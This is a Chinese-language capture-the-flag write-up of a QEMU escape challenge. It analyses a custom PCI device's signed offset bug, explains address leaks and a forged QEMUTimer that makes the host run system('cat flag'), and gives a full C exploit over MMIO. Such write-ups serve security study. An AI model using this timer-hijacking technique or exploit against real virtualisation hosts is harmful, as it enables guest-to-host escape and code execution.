第一次从qemu里面逃出来,但没有完全逃出来,远程没通比赛就结束了S.H.I.T
题目链接:xtxtn/vnctf2024-escape_langlang_mountain2wp (github.com)
关于qemu pwn入门,网上中文资料非常多:
环境与调试
理想的环境是 qemu 内的系统有 ssh,这样就可以直接连上去,甚至使用 scp 传 payload,但是这题没有。
我采用的调试方法是在 Dockerfile 中加一个 gdb,这样就可以在 docker 中调试,但是最佳的调试方法应该是往 docker 里面塞一个 gdbserver,然后用主机的 gdb attach 上去,这样就可以使用主机里的插件。
漏洞分析
题目实现设备提供了 vn_mmio_read
和 vn_mmio_write
两个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 __fastcall vn_mmio_read(const char ****a1, __int64 a2) { int v3; __int64 v4;
v4 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 21u, "vn_mmio_read"); if ( a2 == 0x10 ) { return *(int *)(v4 + 0xB80); } else if ( a2 == 32 ) { return *(int *)(*(int *)(v4 + 0xB80) + 0xB40LL + v4); } return v3; }
|
object+0xb80
用来保存一个偏移,该函数可以根据缓冲区的相对偏移读数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void __fastcall vn_mmio_write(const char ****a1, unsigned __int64 a2, unsigned __int64 a3) { __int64 v5;
v5 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 42u, "vn_mmio_write"); if ( a2 == 48 ) { if ( !*(_DWORD *)(v5 + 0xB84) ) { *(_DWORD *)(v5 + *(int *)(v5 + 0xB80) + 0xB40LL) = a3; *(_DWORD *)(v5 + 0xB84) = 1; } } else if ( a2 <= 0x30 ) { if ( a2 == 16 ) { if ( (int)a3 <= 60 ) *(_DWORD *)(v5 + 0xB80) = a3; } else if ( a2 == 32 && HIDWORD(a3) <= 0x3C ) { *(_DWORD *)(v5 + HIDWORD(a3) + 0xB40) = a3; } } return; }
|
write 中提供了三个功能:
- addr==16:设置 0xB80 处的偏移变量
- addr==32:正常的 Buffer 内读写(0x40 大小空间,没有越界)
- addr==48:根据偏移变量写入数据(仅限一次)
在检查偏移变量的大小时,由于检查类型是 signed,因此可以把偏移修改为一个负数。于是我们就可以有无限次的任意相对地址读,以及一次任意相对地址写入。
漏洞利用
整体思路:
- 在设备 Object 结构体内寻找堆地址和程序地址并泄露
- 从 main_loop_tlg 泄露出第二个 timerlist 的地址
- 在设备 Buffer 中伪造 QEMUTimer 结构体
- 劫持 timerlist 的 active_timers 指针为伪造的结构体
地址泄露
由于我第一次打 qemu pwn,对于其中各种结构体都比较陌生,所以我直接用本办法,在动态调试的时候查看 Buffer 前面的数据,从里面找到可以泄露的指针。(从而给后面本地打得通远程打不通埋下了伏笔)
在不清除结构体信息的情况下,找泄露的时候需要注意一些查找要点:
- 泄露程序基地址时,随便找一个指向程序某地址的指针泄露就行了;
- 泄露堆地址时要注意,不同环境之间的堆环境可能不一样,因此在寻找时(假设我们想要泄露设备 Buffer 的地址):
- 最佳的泄露用指针是和 Buffer 处于同一个结构体中的指针
- 其次是和 Buffer 所在结构体位置相近的指针,越相近越好
计算堆基址并没有什么用
根据这种方法可以找到两个指针,然后泄露即可。
当然,如果你是一位对设备的 Object 结构体比较熟悉的 qemu pwn 大师,那么你就可以直接泄露结构体的某些字段来泄露程序和堆的地址。具体来说,可以通过 MemoryRegion 结构体:
1 2 3 4 5 6 7 8 9 10 11
| struct MemoryRegion { ... ... DeviceState *dev;
const MemoryRegionOps *ops; void *opaque; MemoryRegion *container; ... ... }
|
其中,ops
指向 data 段的 vn_mmio_ops
,opaque
更是指向 vn 的设备结构体,因此泄露这两个指针就可以准确泄露地址,不用担心什么偏移不一样的问题。
控制流劫持
在网上可以找到的大部分 pwn 题中,设备本身就有一些函数指针,劫持它们就可以劫持控制流(甚至参数),但本题的设备就是单纯的读和写,并没有什么 encode
、rand
之类的函数。因此,本题需要一个通用的控制流劫持方法。
在 Qemu 中,可以通过注册一个 QEMUTimer 来让 qemu 在一段时间间隔之后调用一个函数,参数为一个 opauqe 指针。相关结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| struct QEMUTimer { int64_t expire_time; QEMUTimerList *timer_list; QEMUTimerCB *cb; void *opaque; QEMUTimer *next; int scale; };
struct QEMUTimerList { QEMUClock *clock; QemuMutex active_timers_lock; QEMUTimer *active_timers; QLIST_ENTRY(QEMUTimerList) list; QEMUTimerListNotifyCB *notify_cb; void *notify_opaque; QemuEvent timers_done_ev; };
|
从内存视角看两个结构体长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| struct QEMUTimer { int64_t expire_time; void *timer_list; void *cb; void *opaque; void *next; int scale; };
struct QEMUTimerList { void * clock; char active_timers_lock[0x38]; struct QEMUTimer *active_timers; struct QEMUTimerList *le_next; \ struct QEMUTimerList **le_prev; \ void *notify_cb; void *notify_opaque;
size_t timers_done_ev; };
|
在 bss 段有一个数组 main_loop_tlg[4]
,保存了一些 QEMUTimerList
结构体指针,每个 active_timers
都指向一个由 QEMUTimer
结构体组成的链表。qemu 会遍历这些 QEMUTimerList
来检查所有 QEMUTimer
有没有超时并调用它们的 callback 函数(也就是调用 timer->cb(timer->opaque)
,相关源码见qemu-timer.c - util/qemu-timer.c - Qemu source code (v4.2.1) - Bootlin)。
因此,我们可以在通过 main_loop_tlg
泄露某个 timerlist 的地址后,劫持它的 active_timers
指针并伪造一个 QEMUTimer
结构体,从而控制程序调用函数以及参数。
伪造 QEMUTimer
时,可以这样写:
1 2 3 4 5 6
| timer->expire_time = 0x114514; timer->timer_list = 对应的timer_list地址; timer->cb = system@plt; timer->opaque = "cat flag"; timer->next = null; timer->scale = 0x100000000;
|
这样程序就会在 0x114514 纳秒之后调用 system("cat flag")
。
该方法主要参考了:
EXP 脚本
没有在在线环境下试过这个脚本,不过猜测在线问题不大==。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| #define _GUN_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h>
unsigned char* mmio_mem; uint32_t mmio_read(uint64_t addr) { return *((uint32_t *)(mmio_mem + addr)); } uint32_t mmio_write(uint64_t addr, uint64_t value) { return *((uint32_t *)(mmio_mem + addr)) = value; }
uint64_t buffer_write(uint64_t index, uint32_t value) { return *((uint64_t *)(mmio_mem + 32)) = (index<<32) | value; }
int main(int argc ,char **argv, char **envp) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd < 0){ puts("open mmio failed"); exit(-1); }
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED){ puts("mmap failed !"); exit(-1); }
uint64_t prog_base = 0;
mmio_write(16, -0x88); prog_base += mmio_read(32) - 0x82b35b; mmio_write(16, -0x84); prog_base |= ((uint64_t)mmio_read(32))<<32;
printf("[*]prog_base: 0x%lx\n", prog_base);
uint64_t heap_base = prog_base & ~(uint64_t)0xffffffff; mmio_write(16, -2808); heap_base += mmio_read(32) - 192; uint64_t buf_addr = heap_base; printf("[*]buffer: 0x%lx\n", buf_addr);
uint64_t main_loop_tlg = prog_base + 0x14B9480; mmio_write(16, main_loop_tlg+8-buf_addr); uint64_t timer_list = (prog_base&(~(uint64_t)0xffffffff)) + mmio_read(32); uint64_t timer_ptr = timer_list + 0x40;
printf("[*]timer_list: 0x%lx\n", timer_list);
uint64_t system_plt = prog_base + 0x312040;
buffer_write(0, 0x114514); buffer_write(8, timer_list&0xffffffff); buffer_write(12, timer_list>>32); buffer_write(16, system_plt&0xffffffff); buffer_write(20, system_plt>>32); buffer_write(24, (buf_addr+0x30)&0xffffffff); buffer_write(28, (buf_addr+0x30)>>32); buffer_write(44, 1); buffer_write(48, 0x20746163); buffer_write(52, 0x67616c66); buffer_write(56, 0);
int offset = timer_ptr - buf_addr; printf("[-]offset: %d\n", offset); mmio_write(16, offset); mmio_write(48, buf_addr&0xffffffff);
return 0; }
|